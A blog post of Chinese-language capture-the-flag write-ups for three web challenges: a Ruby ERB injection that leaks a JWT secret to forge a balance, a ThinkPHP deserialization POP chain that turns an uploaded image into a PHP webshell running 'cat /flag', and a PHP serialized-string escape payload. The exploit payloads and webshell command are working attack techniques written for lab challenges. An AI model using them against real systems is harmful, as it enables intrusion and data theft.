0
点赞
收藏
分享

微信扫一扫

Buuctf刷题04

程序员伟杰 2022-02-19 阅读 52

[SCTF2019]Flag Shop

robots.txt 提示 /filebak

访问 /filebak 获得源码

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

看到 POST 的 /shop 路由,只要 auth[0]["jkl"] < FLAGPRICE 条件不成立则会把 flag 写入到 auth 中,然后把 auth 用 JWT 进行加密并放到 Cookie 中

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end

捉个包然后复制 Cookie[auth] 到 https://jwt.io/ 解密一下,可以看到金钱就写在里面是20,而 FLAGPRICE 是 12e+27 , 伪造金钱需要拿到密钥。

通过 get 的 /work 路由 ,需要满足 params[:do] == "#{params[:name][0,7]} is working" 条件,满足了之后密钥会写在 alert 标签中。

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

这样构造

/work?name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

获得key

image-20220219115003275

修改金钱并放入key

image-20220219115105186

把加密出来的值放到 POST 的 /shop 中的 Cookie[auth] 中

image-20220219115206522

最后把返回包中的 Cookie[auth] 拿去解密即可得到 flagimage-20220219115307415

[强网杯 2019]Upload

  1. POP 链构造
  2. 文件上传

注册一个账户然后登录,有一个上传头像的功能,随便上传一个,然后捉包可以看到 Cookie[user] 是 Base64 编码的,解密一下,发现是序列化字符串

image-20220219122434058

备份文件泄露 /www.tar.gz

看到控制器 tp5\application\web\controller 目录,有四个控制器

image-20220219122802893

看到 index.php 文件的 login_check 函数,先把 Cookie[user] 用 Base64 解码然后再进行反序列化操作,这时反序列化入口点,接下来就是寻找 POP 链

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

POP链如下,也比较简单 Register#__destruct->Profile#__get->Profile#__call->Profile#upload_img
先上传一个图片马,然后获得其路径,最后放到如下构造的 $filename_tmp 变量中

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
}
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/cc551ab005b2e60fbdc88de809b2c4b1/4a47a0db6e60853dedfcfdf08a5ca249.png";
	public $upload_menu;
    public $filename="upload/penson.php";
    public $ext=1;
	public $img;
    public $except=array("index"=>"upload_img");

$a = new Register();
$a->checker = new Profile();
$a->checker->checker=0;

echo base64_encode(serialize($a));

把获得的序列化数据放到 Cookie[user] 中,访问 /index.php/home.html 即可把图片马转换为 upload/penson.php

最后访问即可

/upload/penson.php

1=system('cat /flag');

[GYCTF2020]Easyphp

  1. 反序列化字符串逃逸
  2. POP 链构造

www.zip 源码泄露

下载下来看到 update.php 文件

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

只要让 $_SESSION['login']===1 即可输出 flag ,可以通过反序列化让这个条件成立。

反序列化触发点

lib.php 中的 update 方法

public function update(){
    $Info=unserialize($this->getNewinfo());
    $age=$Info->age;
    $nickname=$Info->nickname;
    $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    //这个功能还没有写完 先占坑
}
public function getNewInfo(){
    $age=$_POST['age'];
    $nickname=$_POST['nickname'];
    return safe(serialize(new Info($age,$nickname)));
}

但是这个反序列化是把我们可以控制的 $_POST['age']$_POST['nickname'] 当作字符串类型的属性来反序列化的,这时候可以通过字符串逃逸让它把我们控制的 $_POST['age']$_POST['nickname'] 当作对象来反序列化。

看下 safe 函数

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

有进行替换,可以进行逃逸。

反序列化链 User#update->UpdateHelper#__destruct->User#__toString->Info#__call->dbCtrl#login ,反序列化后让 $_SESSION['token']admin

构造

<?php
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct()
    {
        $this->age = "1";
        $this->nickname = "2";
        $this->CtrlCase=new dbCtrl();
    }
}
class User
{
    public $id="1";
    public $age;
    public $nickname;
    public function __construct()
    {
        $this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname=new Info();
    }
}
Class UpdateHelper{
    public $sql;
}

class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password="1";
    public $mysqli;
    public $token;
    public $b;
    public function __construct()
    {
        $this->b=new UpdateHelper();
    }
}
$a=new Info();
$a->CtrlCase->b->sql=new User();
echo serialize($a);

构造后进行逃逸

age=age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

放到 age 参数进行反序列化

/update.php

age=age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:1:"b";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

然后再用 admin 登录一下即可获得 flag

举报

相关推荐

0 条评论